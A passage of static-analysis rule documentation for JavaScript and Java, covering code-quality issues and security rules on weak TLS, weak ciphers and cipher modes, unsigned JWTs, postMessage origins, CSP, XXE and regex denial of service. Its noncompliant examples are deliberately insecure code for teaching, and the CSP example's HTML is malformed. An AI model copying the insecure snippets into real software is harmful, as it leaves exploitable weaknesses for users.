This rule raises an issue when an SSL/TLS context is created with an insecure protocol version (ie: a protocol different from "TLSv1.2", "TLSv1.3", "DTLSv1.2" or "DTLSv1.3").

Noncompliant Code Example

secureProtocol, minVersion/maxVersion and secureOptions should not be set to use weak TLS protocols (TLSv1.1 and lower):

let options = {
  secureProtocol: 'TLSv1_method' // Noncompliant: TLS1.0 is insecure
};

let options = {
  minVersion: 'TLSv1.1',  // Noncompliant: TLS1.1 is insecure
  maxVersion: 'TLSv1.2'
};

let options = {
  secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1
}; // Noncompliant TLS 1.1 (constants.SSL_OP_NO_TLSv1_1) is not disabled

https built-in module:

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
});  // Noncompliant

tls built-in module:

let socket = tls.connect(443, "www.example.com", options, () => { });  // Noncompliant

request module:

let socket = request.get(options);

Compliant Solution

Set either secureProtocol or secureOptions or minVersion to use secure protocols only (TLSv1.2 and higher):

let options = {
  secureProtocol: 'TLSv1_2_method'
};
// or
let options = {
  secureOptions: constants.SSL_OP_NO_SSLv2 | constants.SSL_OP_NO_SSLv3 | constants.SSL_OP_NO_TLSv1 | constants.SSL_OP_NO_TLSv1_1
};
// or
let options = {
    minVersion: 'TLSv1.2'
};

https built-in module:

let req = https.request(options, (res) => {
  res.on('data', (d) => {
    process.stdout.write(d);
  });
});  // Compliant

tls built-in module:

let socket = tls.connect(443, "www.example.com", options, () => { });

request module:

let socket = request.get(options);

See

javascript:S4787

Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities:

Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.

This rule flags function calls that initiate encryption/decryption.

Ask Yourself Whether

  • the private key might not be random, strong enough or the same key is reused for a long long time.
  • the private key might be compromised. It can happen when it is stored in an unsafe place or when it was transferred in an unsafe manner.
  • the key exchange is made without properly authenticating the receiver.
  • the encryption algorithm is not strong enough for the level of protection required. Note that encryption algorithms strength decreases as time passes.
  • the chosen encryption library is deemed unsafe.
  • a nonce is used, and the same value is reused multiple times, or the nonce is not random.
  • the RSA algorithm is used, and it does not incorporate an Optimal Asymmetric Encryption Padding (OAEP), which might weaken the encryption.
  • the CBC (Cypher Block Chaining) algorithm is used for encryption, and it's IV (Initialization Vector) is not generated using a secure random algorithm, or it is reused.
  • the Advanced Encryption Standard (AES) encryption algorithm is used with an unsecure mode. See the recommended practices for more information.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Generate encryption keys using secure random algorithms.
  • When generating cryptographic keys (or key pairs), it is important to use a key length that provides enough entropy against brute-force attacks. For the Blowfish algorithm the key should be at least 128 bits long, while for the RSA algorithm it should be at least 2048 bits long.
  • Regenerate the keys regularly.
  • Always store the keys in a safe location and transfer them only over safe channels.
  • If there is an exchange of cryptographic keys, check first the identity of the receiver.
  • Only use strong encryption algorithms. Check regularly that the algorithm is still deemed secure. It is also imperative that they are implemented correctly. Use only encryption libraries which are deemed secure. Do not define your own encryption algorithms as they will most probably have flaws.
  • When a nonce is used, generate it randomly every time.
  • When using the RSA algorithm, incorporate an Optimal Asymmetric Encryption Padding (OAEP).
  • When CBC is used for encryption, the IV must be random and unpredictable. Otherwise it exposes the encrypted value to crypto-analysis attacks like "Chosen-Plaintext Attacks". Thus a secure random algorithm should be used. An IV value should be associated to one and only one encryption cycle, because the IV's purpose is to ensure that the same plaintext encrypted twice will yield two different ciphertexts.
  • The Advanced Encryption Standard (AES) encryption algorithm can be used with various modes. Galois/Counter Mode (GCM) with no padding should be preferred to the following combinations which are not secured:
    • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks.

Sensitive Code Example

// === Client side ===
crypto.subtle.encrypt(algo, key, plainData); // Sensitive
crypto.subtle.decrypt(algo, key, encData); // Sensitive
// === Server side ===
const crypto = require("crypto");
const cipher = crypto.createCipher(algo, key); // Sensitive
const cipheriv = crypto.createCipheriv(algo, key, iv); // Sensitive
const decipher = crypto.createDecipher(algo, key); // Sensitive
const decipheriv = crypto.createDecipheriv(algo, key, iv); // Sensitive
const pubEnc = crypto.publicEncrypt(key, buf); // Sensitive
const privDec = crypto.privateDecrypt({ key: key, passphrase: secret }, pubEnc); // Sensitive
const privEnc = crypto.privateEncrypt({ key: key, passphrase: secret }, buf); // Sensitive
const pubDec = crypto.publicDecrypt(key, privEnc); // Sensitive

See

Deprecated

This rule is deprecated; use S4426 instead.

javascript:S3699

If a function does not return anything, it makes no sense to use its output. Specifically, passing it to another function, or assigning its "result" to a variable is probably a bug because such functions return undefined, which is probably not what was intended.

Noncompliant Code Example

function foo() {
  console.log("Hello, World!");
}

a = foo();

Compliant Solution

function foo() {
  console.log("Hello, World!");
}

foo();
javascript:S2392

Variables that are declared inside a block but used outside of it (which is possible with a var-style declaration) should be declared outside the block.

Noncompliant Code Example

function doSomething(a, b) {
  if (a > b) {
    var x = a - b;  // Noncompliant
  }

  if (a > 4) {
    console.log(x);
  }

  for (var i = 0; i < m; i++) { // Noncompliant, both loops use same variable
  }

  for (var i = 0; i < n; i++) {
  }

  return a + b;
}

Compliant Solution

function doSomething(a, b) {
  var x;

  if (a > b) {
    x = a - b;
  }

  if (a > 4) {
    console.log(x);
  }

  for (let i = 0; i < m; i++) {
  }

  for (let i = 0; i < n; i++) {
  }


  return a + b;
}
javascript:S3801

Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain.

In particular a function, in JavaScript, will return undefined in any of the following cases:

  • It exits without a return statement.
  • It executes a return with no value.

This rule verifies that return values are either always or never specified for each path through a function.

Noncompliant Code Example

function foo(a) { // Noncompliant, function exits without "return"
  if (a == 1) {
    return true;
  }
}

Compliant Solution

function foo(a) {
  if (a == 1) {
    return true;
  }
  return false;
}
javascript:S3800

Unlike strongly typed languages, JavaScript does not enforce a return type on a function. This means that different paths through a function can return different types of values, which can be very confusing to the user and significantly harder to maintain.

Noncompliant Code Example

function foo(a) {  // Noncompliant
  if (a === 1) {
    return true;
  }
  return 3;
}

Compliant Solution

function foo(a) {
  if (a === 1) {
    return true;
  }
  return false;
}
javascript:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if (b == 0) {  // Noncompliant
  doOneMoreThing();
}
else {
  doOneMoreThing();
}

let a = (b == 0) ? getValue() : getValue();   // Noncompliant

switch (i) {  // Noncompliant
  case 1:
    doSomething();
    break;
  case 2:
    doSomething();
    break;
  case 3:
    doSomething();
    break;
  default:
    doSomething();
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if(b == 0) {    //no issue, this could have been done on purpose to make the code more readable
  doSomething();
} else if(b == 1) {
  doSomething();
}
javascript:S3001

The semantics of the delete operator are a bit tricky, and it can only be reliably used to remove properties from objects. Pass anything else to it, and you may or may not get the desired result.

Noncompliant Code Example

var x  = 1;
delete x;       // Noncompliant

function foo(){
..
}

delete foo;  // Noncompliant

Compliant Solution

var obj = {
  x:1,
  foo: function(){
  ...
  }
};
delete obj.x;
delete obj.foo;

javascript:S1186

There are several reasons for a function not to have a function body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown in languages where that mechanism is available.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

function foo() {
}

var foo = () => {};

Compliant Solution

function foo() {
    // This is intentional
}

var foo = () => {
    do_something();
};
javascript:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (x != undefined) {
  if (y === 2) {
    // ...
  }
}

Compliant Solution

if (x != undefined && y === 2) {
  // ...
}
javascript:S3003

The use of comparison operators (<, <=, >=, >) with strings is not likely to yield the expected results. Make sure the intention was to compare strings and not numbers.

Noncompliant Code Example

var appleNumber = "123";
var orangeNumber = "45";
if (appleNumber < orangeNumber) {  // Noncompliant, this condition is true
  alert("There are more oranges");
}

Compliant Solution

var appleNumber = "123";
var orangeNumber = "45";
if (Number(appleNumber) < Number(orangeNumber)) {
  alert("There are more oranges");
}
javascript:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

crypto built-in module:

crypto.createCipheriv("AES-128-CBC", key, iv); // Noncompliant: CBC with PKCS5/7 (set by default) is vulnerable to oracle padding attacks
crypto.createCipheriv("AES-128-ECB", key, ""); // Noncompliant: ECB doesn't provide serious message confidentiality

Compliant Solution

crypto built-in module:

crypto.createCipheriv("AES-256-GCM", key, iv);

See

javascript:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

javascript:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community.

More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits.

Noncompliant Code Example

crypto built-in module:

crypto.createCipheriv("DES", key, iv); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("DES-EDE", key, ""); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("DES-EDE3", key, ""); // Noncompliant: DES / 3DES is unsecure
crypto.createCipheriv("RC2", key, iv); // Noncompliant: RC2 is vulnerable to a related-key attack
crypto.createCipheriv("RC4", key, "");// Noncompliant: RC4 is vulnerable to several attacks
crypto.createCipheriv("BF", key, iv);// Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks

Compliant Solution

crypto built-in module:

crypto.createCipheriv("AES-256-GCM", key, iv);

See

javascript:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

 

Note that this rule requires Node.js to be available during analysis.

Noncompliant Code Example

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 1)  // Noncompliant
  moveWindowToTheBackground();

Compliant Solution

if (param == 1)
  openWindow();
else if (param == 2)
  closeWindow();
else if (param == 3)
  moveWindowToTheBackground();

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
javascript:S2260

When the JavaScript parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

javascript:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

Noncompliant Code Example

function doSomething(a, b) { // "a" is unused
  return compute(b);
}

Compliant Solution

function doSomething(b) {
  return compute(b);
}

Exceptions

When writing function callbacks, some arguments might be required as part of the function signature, but not actually needed by the callback code. For instance, JQuery has the 'each' helper to iterate over arrays or objects, but using the counter 'i' should remain optional:

$(["first", "last"]).each(function (i, value) {
  computeSomethingWithValue(value);
});

So only unused arguments listed at the end of the argument list will be flagged with issues because they could be omitted from the function signature. Unused arguments which are followed by an argument that is used will be ignored.

Examples :

var myFirsCallBackFunction = function (p1, p2, p3, p4) {  // p2 is ignored, but p4 is reported
                                              return p1 + p3; }

var mySecondCallBackFunction = function (p1, p2, p3, p4) {  // p1, p2 and p3 are ignored
                                              return p4; }

var myThirdCallBackFunction = function (p1, p2, p3, p4) {  // p1 is ignored but p3 and p4 are reported
                                              return p2; }

Further, when arguments is used in the function body, no parameter is reported as unused.

function doSomething(a, b, c) {
  compute(arguments);
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
javascript:S2819

Browsers allow message exchanges between Window objects of different origins.

Because any window can send / receive messages from other window it is important to verify the sender's / receiver's identity:

  • When sending message with postMessage method, the identity's receiver should be defined (the wildcard keyword (*) should not be used).
  • When receiving message with message event, the sender's identity should be verified using the origin and possibly source properties.

Noncompliant Code Example

When sending message:

var iframe = document.getElementById("testiframe");
iframe.contentWindow.postMessage("secret", "*"); // Noncompliant: * is used

When receiving message:

window.addEventListener("message", function(event) { // Noncompliant: no checks are done on the origin property.
      console.log(event.data);
 });

Compliant Solution

When sending message:

var iframe = document.getElementById("testsecureiframe");
iframe.contentWindow.postMessage("hello", "https://secure.example.com"); // Compliant

When receiving message:

window.addEventListener("message", function(event) {

  if (event.origin !== "http://example.org") // Compliant
    return;

  console.log(event.data)
});

See

javascript:S1854

A dead store happens when a local variable is assigned a value that is not read by any subsequent instruction. Calculating or retrieving a value only to then overwrite it or throw it away, could indicate a serious error in the code. Even if it's not an error, it is at best a waste of resources. Therefore all calculated values should be used.

Noncompliant Code Example

i = a + b; // Noncompliant; calculation result not used before value is overwritten
i = compute();

Compliant Solution

i = a + b;
i += compute();

Exceptions

This rule ignores initializations to -1, 0, 1, null, undefined, [], {}, true, false and "". Variables that start with an underscore (e.g. '_unused') are ignored.

This rule also ignores variables declared with object destructuring using rest syntax (used to exclude some properties from object):

let {a, b, ...rest} = obj; // 'a' and 'b' are ok
doSomething(rest);

let [x1, x2, x3] = arr;    // but 'x1' is noncompliant, as omitting syntax can be used: "let [, x2, x3] = arr;"
doSomething(x2, x3);

See

javascript:S5659

If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.

  • Don't use none algorithm to sign or verify the validity of a token.
  • Don't use a token without verifying its signature before.

Noncompliant Code Example

jsonwebtoken library:

const jwt = require('jsonwebtoken');

let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'none' }); // Noncompliant: 'none' cipher doesn't sign the JWT (no signature will be included)

jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['RS256', 'none'] }, callbackcheck); // Noncompliant: 'none' cipher should not be used when verifying JWT signature

Compliant Solution

jsonwebtoken library:

const jwt = require('jsonwebtoken');

let token = jwt.sign({ foo: 'bar' }, key, { algorithm: 'HS256' }); // Compliant

jwt.verify(token, key, { expiresIn: 360000 * 5, algorithms: ['HS256'] }, callbackcheck); // Compliant

See

javascript:S2703

JavaScript variable scope can be particularly difficult to understand and get right. The situation gets even worse when you consider the accidental creation of global variables, which is what happens when you declare a variable inside a function or the for clause of a for-loop without using the let, const or var keywords.

let and const were introduced in ECMAScript 2015, and are now the preferred keywords for variable declaration.

Noncompliant Code Example

function f(){
  i = 1;         // Noncompliant; i is global

  for (j = 0; j < array.length; j++) {  // Noncompliant; j is global now too
    // ...
  }
}

Compliant Solution

function f(){
  var i = 1;

  for (let j = 0; j < array.length; j++) {
    // ...
  }
}
javascript:S3353

Marking a variable that is unchanged after initialization const is an indication to future maintainers that "no this isn't updated, and it's not supposed to be". const should be used in these situations in the interests of code clarity.

Noncompliant Code Example

function seek(input) {
  let target = 32;  // Noncompliant
  for (let i of input) {
    if (i == target) {
      return true;
    }
  }
  return false;
}

function getUrl(query) {    
  let url; // Noncompliant
  url = "http://example.com";
  return url;
}

Compliant Solution

function seek(input) {
  const target = 32;
  for (let i of input) {
    if (i == target) {
      return true;
    }
  }
  return false;
}

function getUrl(query) {  
  const url = "http://example.com";
  return url;
}
javascript:S4326

An async function always wraps the return value in a Promise. Using return await is therefore redundant.

Noncompliant Code Example

async function foo() {
  // ...
}

async function bar() {
  // ...
  return await foo(); // Noncompliant
}

Compliant Solution

async function foo() {
  // ...
}

async function bar() {
  // ...
  return foo();
}
javascript:S3358

Just because you can do something, doesn't mean you should, and that's the case with nested ternary operations. Nesting ternary operators results in the kind of code that may seem clear as day when you write it, but six months later will leave maintainers (or worse - future you) scratching their heads and cursing.

Instead, err on the side of clarity, and use another line to express the nested operation as a separate statement.

Noncompliant Code Example

function getReadableStatus(job) {
  return job.isRunning() ? "Running" : job.hasErrors() ? "Failed" : "Succeeded ";  // Noncompliant
}

Compliant Solution

function getReadableStatus(job) {
  if (job.isRunning()) {
    return "Running";
  }
  return job.hasErrors() ? "Failed" : "Succeeded";
}
javascript:S1481

If a local variable or a local function is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable or function is used for.

Noncompliant Code Example

function numberOfMinutes(hours) {
  var seconds = 0;   // seconds is never used
  return hours * 60;
}

Compliant Solution

function numberOfMinutes(hours) {
  return hours * 60;
}
javascript:S5728

Content security policy (CSP) (fetch directives) is a W3C standard which is used by a server to specify, via a http header, the origins from where the browser is allowed to load resources. It can help to mitigate the risk of cross site scripting (XSS) attacks and reduce privileges used by an application. If the website doesn't define CSP header the browser will apply same-origin policy by default.

Content-Security-Policy: default-src 'self'; script-src ‘self ‘ http://www.example.com

In the above example, all resources are allowed from the website where this header is set and script resources fetched from example.com are also authorized:

<img src="selfhostedimage.png></script> <!-- will be loaded because default-src 'self'; directive is applied  -->
<img src="http://www.example.com/image.png></script>  <!-- will NOT be loaded because default-src 'self'; directive is applied  -->
<script src="http://www.example.com/library.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.comdirective is applied  -->
<script src="selfhostedscript.js></script> <!-- will be loaded because script-src ‘self ‘ http://www.example.com directive is applied  -->
<script src="http://www.otherexample.com/library.js></script> <!-- will NOT be loaded because script-src ‘self ‘ http://www.example.comdirective is applied  -->

Ask Yourself Whether

  • The resources of the application are fetched from various untrusted locations.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

Implement content security policy fetch directives, in particular default-src directive and continue to properly sanitize and validate all inputs of the application, indeed CSP fetch directives is only a tool to reduce the impact of cross site scripting attacks.

Sensitive Code Example

In a Express.js application, the code is sensitive if the helmet contentSecurityPolicy middleware is disabled:

const express = require('express');
const helmet = require('helmet');

let app = express();
app.use(
    helmet({
      contentSecurityPolicy: false, // sensitive
    })
);

Compliant Solution

In a Express.js application, a standard way to implement CSP is the helmet contentSecurityPolicy middleware:

const express = require('express');
const helmet = require('helmet');

let app = express();
app.use(helmet.contentSecurityPolicy()); // Compliant

See

javascript:S1128

There's no reason to import modules you don't use; and every reason not to: doing so needlessly increases the load.

Noncompliant Code Example

import A from 'a';      // Noncompliant, A isn't used
import { B1 } from 'b';

console.log(B1);

Compliant Solution

import { B1 } from 'b';

console.log(B1);
javascript:S5725

Fetching external resources, for example from a CDN, without verifying their integrity could impact the security of an application if the CDN gets compromised and resources are replaced by malicious ones. Resources integrity feature will block resources inclusion into an application if the pre-computed digest of the expected resource doesn't match with the digest of the retrieved resource.

Ask Yourself Whether

  • The resources are fetched from external CDNs.

There is a risk if you answered yes to this question.

Recommended Secure Coding Practices

  • implement resources integrity checks for all static resources (where "static" means that the resource's content doesn't change dynamically based on the browser)
  • use versioned resources instead of using "latest" version of the resources

Sensitive Code Example

let script = document.createElement("script"); // Sensitive
script.src = "https://cdnexample.com/script-latest.js";
script.crossOrigin = "anonymous";
document.head.appendChild(script);

Compliant Solution

let script = document.createElement("script");
script.src = "https://cdnexample.com/script-v1.2.3.js";
script.integrity = "sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"; // Compliant
script.crossOrigin = "anonymous";
document.head.appendChild(script);

See

javascript:S5604

Powerful features are browser features (geolocation, camera, microphone ...) that can be accessed with JavaScript API and may require a permission granted by the user. These features can have a high impact on privacy and user security thus they should only be used if they are really necessary to implement the critical parts of an application.

This rule highlights intrusive permissions when requested with the future standard (but currently experimental) web browser query API and specific APIs related to the permission. It is highly recommended to customize this rule with the permissions considered as intrusive in the context of the web application.

Ask Yourself Whether

  • Some powerful features used by the application are not really necessary.
  • Users are not clearly informed why and when powerful features are used by the application.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In order to respect user privacy it is recommended to avoid using intrusive powerful features.

Sensitive Code Example

When using geolocation API, Firefox for example retrieves personal information like nearby wireless access points and IP address and sends it to the default geolocation service provider, Google Location Services:

navigator.permissions.query({name:"geolocation"}).then(function(result) {
});  // Sensitive: geolocation is a powerful feature with high privacy concerns

navigator.geolocation.getCurrentPosition(function(position) {
  console.log("coordinates x="+position.coords.latitude+" and y="+position.coords.longitude);
}); // Sensitive: geolocation is a powerful feature with high privacy concerns

Compliant Solution

If geolocation is required, always explain to the user why the application needs it and prefer requesting an approximate location when possible:

<html>
<head>
    <title>
        Retailer website example
    </title>
</head>
<body>
    Type a city, street or zip code where you want to retrieve the closest retail locations of our products:
    <form method=post>
        <input type=text value="New York"> <!-- Compliant -->
    </form>
</body>
</html>

See

javascript:S3782

The types of the arguments to built-in functions are specified in the JavaScript language specifications. Calls to these functions should conform to the documented types, otherwise the result will most likely not be what was expected (e.g.: the call would always return false).

Noncompliant Code Example

const isTooSmall = Math.abs(x < 0.0042);

Compliant Solution

const isTooSmall = Math.abs(x) < 0.0042;
javascript:S2692

Most checks against an indexOf call against a string or array compare it with -1 because 0 is a valid index. Any checks which look for values >0 ignore the first element, which is likely a bug. If you're merely checking the presence of the string, consider using includes instead. Before using includes method make sure that your browser version is supporting it.

Noncompliant Code Example

var color = "blue";
var name = "ishmael";
var number = 123;

var arr = [color, name];

if (arr.indexOf("blue") > 0) { // Noncompliant
  // ...
}
if (name.indexOf("ish") > 0) { // Noncompliant
  // ...
}

Compliant Solution

var color = "blue";
var name = "ishmael";
var number = 123;

var arr = [color, name];

if (arr.indexOf("blue") >= 0) {
  // ...
}
if (name.includes("ish")) {
  // ...
}

See

javascript:S4634

When a Promise needs to only "resolve" or "reject", it's more efficient and readable to use the methods specially created for such use cases: Promise.resolve(value) and Promise.reject(error).

Noncompliant Code Example

let fulfilledPromise = new Promise(resolve => resolve(42));
let rejectedPromise = new Promise(function(resolve, reject) {
  reject('fail');
});

Compliant Solution

let fulfilledPromise = Promise.resolve(42);
let rejectedPromise = Promise.reject('fail');
java:S1168

Returning null instead of an actual array or collection forces callers of the method to explicitly test for nullity, making them more complex and less readable.

Moreover, in many cases, null is used as a synonym for empty.

Noncompliant Code Example

public static List<Result> getResults() {
  return null;                             // Noncompliant
}

public static Result[] getResults() {
  return null;                             // Noncompliant
}

public static void main(String[] args) {
  Result[] results = getResults();

  if (results != null) {                   // Nullity test required to prevent NPE
    for (Result result: results) {
      /* ... */
    }
  }
}

Compliant Solution

public static List<Result> getResults() {
  return Collections.emptyList();          // Compliant
}

public static Result[] getResults() {
  return new Result[0];
}

public static void main(String[] args) {
  for (Result result: getResults()) {
    /* ... */
  }
}

See

  • CERT, MSC19-C. - For functions that return an array, prefer returning an empty array over a null value
  • CERT, MET55-J. - Return an empty array or collection instead of a null value for methods that return an array or collection
java:S2259

A reference to null should never be dereferenced/accessed. Doing so will cause a NullPointerException to be thrown. At best, such an exception will cause abrupt program termination. At worst, it could expose debugging information that would be useful to an attacker, or it could allow an attacker to bypass security measures.

Note that when they are present, this rule takes advantage of @CheckForNull and @Nonnull annotations defined in JSR-305 to understand which values are and are not nullable except when @Nonnull is used on the parameter to equals, which by contract should always work with null.

Noncompliant Code Example

@CheckForNull
String getName(){...}

public boolean isNameEmpty() {
  return getName().length() == 0; // Noncompliant; the result of getName() could be null, but isn't null-checked
}
Connection conn = null;
Statement stmt = null;
try{
  conn = DriverManager.getConnection(DB_URL,USER,PASS);
  stmt = conn.createStatement();
  // ...

}catch(Exception e){
  e.printStackTrace();
}finally{
  stmt.close();   // Noncompliant; stmt could be null if an exception was thrown in the try{} block
  conn.close();  // Noncompliant; conn could be null if an exception was thrown
}
private void merge(@Nonnull Color firstColor, @Nonnull Color secondColor){...}

public  void append(@CheckForNull Color color) {
    merge(currentColor, color);  // Noncompliant; color should be null-checked because merge(...) doesn't accept nullable parameters
}
void paint(Color color) {
  if(color == null) {
    System.out.println("Unable to apply color " + color.toString());  // Noncompliant; NullPointerException will be thrown
    return;
  }
  ...
}

See

java:S2258

By contract, the NullCipher class provides an "identity cipher" one that does not transform or encrypt the plaintext in any way. As a consequence, the ciphertext is identical to the plaintext. So this class should be used for testing, and never in production code.

Noncompliant Code Example

NullCipher nc = new NullCipher();

See

Deprecated

This rule is deprecated; use S5547 instead.

java:S4435

An XML External Entity or XSLT External Entity (XXE) vulnerability can occur when a javax.xml.transform.Transformer is created without enabling "Secure Processing" or when one is created without disabling resolving of both external DTDs and DTD entities. If that external data is being controlled by an attacker it may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.

This rule raises an issue when a Transformer is created without either of these settings.

Noncompliant Code Example

Transformer transformer = TransformerFactory.newInstance().newTransformer();
transformer.transform(input, result);

Compliant Solution

Recommended:

TransformerFactory factory = TransformerFactory.newInstance();
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

Transformer transformer = factory.newTransformer();

transformer.transform(input, result);

Implementation dependent:

TransformerFactory factory = TransformerFactory.newInstance();
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

Transformer transformer = factory.newTransformer();

transformer.transform(input, result);

See

Deprecated

This rule is deprecated; use S2755 instead.

java:S923

As stated per effective java :

Varargs methods are a convenient way to define methods that require a variable number of arguments, but they should not be overused. They can produce confusing results if used inappropriately.

Noncompliant Code Example

void fun ( String... strings )	// Noncompliant
{
  // ...
}
java:S1150

From the official Oracle Javadoc:

NOTE: The functionality of this Enumeration interface is duplicated by the Iterator interface. In addition, Iterator adds an optional remove operation, and has shorter method names. New implementations should consider using Iterator in preference to Enumeration.

Noncompliant Code Example

public class MyClass implements Enumeration {  // Non-Compliant
  /* ... */
}

Compliant Solution

public class MyClass implements Iterator {     // Compliant
  /* ... */
}
java:S1151

The switch statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With the default threshold of 5:

switch (myVariable) {
  case 0: // Noncompliant: 6 lines till next case
    methodCall1("");
    methodCall2("");
    methodCall3("");
    methodCall4("");
    break;
  case 1:
  ...
}

Compliant Solution

switch (myVariable) {
  case 0:
    doSomething()
    break;
  case 1:
  ...
}
...
private void doSomething(){
    methodCall1("");
    methodCall2("");
    methodCall3("");
    methodCall4("");
}
java:S2129

Constructors for String, BigInteger, BigDecimal and the objects used to wrap primitives should never be used. Doing so is less clear and uses more memory than simply using the desired value in the case of strings, and using valueOf for everything else.

Noncompliant Code Example

String empty = new String(); // Noncompliant; yields essentially "", so just use that.
String nonempty = new String("Hello world"); // Noncompliant
Double myDouble = new Double(1.1); // Noncompliant; use valueOf
Integer integer = new Integer(1); // Noncompliant
Boolean bool = new Boolean(true); // Noncompliant
BigInteger bigInteger1 = new BigInteger("3"); // Noncompliant
BigInteger bigInteger2 = new BigInteger("9223372036854775807"); // Noncompliant
BigInteger bigInteger3 = new BigInteger("111222333444555666777888999"); // Compliant, greater than Long.MAX_VALUE

Compliant Solution

String empty = "";
String nonempty = "Hello world";
Double myDouble = Double.valueOf(1.1);
Integer integer = Integer.valueOf(1);
Boolean bool = Boolean.valueOf(true);
BigInteger bigInteger1 = BigInteger.valueOf(3);
BigInteger bigInteger2 = BigInteger.valueOf(9223372036854775807L);
BigInteger bigInteger3 = new BigInteger("111222333444555666777888999");

Exceptions

BigDecimal constructor with double argument is ignored as using valueOf instead might change resulting value. See S2111 .

java:S3331

A cookie's domain specifies which websites should be able to read it. Left blank, browsers are supposed to only send the cookie to sites that exactly match the sending domain. For example, if a cookie was set by lovely.dream.com, it should only be readable by that domain, and not by nightmare.com or even strange.dream.com. If you want to allow sub-domain access for a cookie, you can specify it by adding a dot in front of the cookie's domain, like so: .dream.com. But cookie domains should always use at least two levels.

Cookie domains can be set either programmatically or via configuration. This rule raises an issue when any cookie domain is set with a single level, as in .com.

Ask Yourself Whether

  • the domain attribute has only one level as domain naming.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • You should check the domain attribute has been set and its value has more than one level of domain nanimg, like: sonarsource.com

Sensitive Code Example

Cookie myCookie = new Cookie("name", "val");
myCookie.setDomain(".com"); // Noncompliant
java.net.HttpCookie myOtherCookie = new java.net.HttpCookie("name", "val");
myOtherCookie.setDomain(".com"); // Noncompliant

Compliant Solution

Cookie myCookie = new Cookie("name", "val"); // Compliant; by default, cookies are only returned to the server that sent them.

// or

Cookie myCookie = new Cookie("name", "val");
myCookie.setDomain(".myDomain.com"); // Compliant

java.net.HttpCookie myOtherCookie = new java.net.HttpCookie("name", "val");
myOtherCookie.setDomain(".myDomain.com"); // Compliant

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S4784

Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities:

Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as (a+)+s will take several seconds to evaluate the input string aaaaaaaaaaaaaaaaaaaaaaaaaaaaabs. The problem is that with every additional a character added to the input, the time required to evaluate the regex doubles. However, the equivalent regular expression, a+s (without grouping) is efficiently evaluated in milliseconds and scales linearly with the input size.

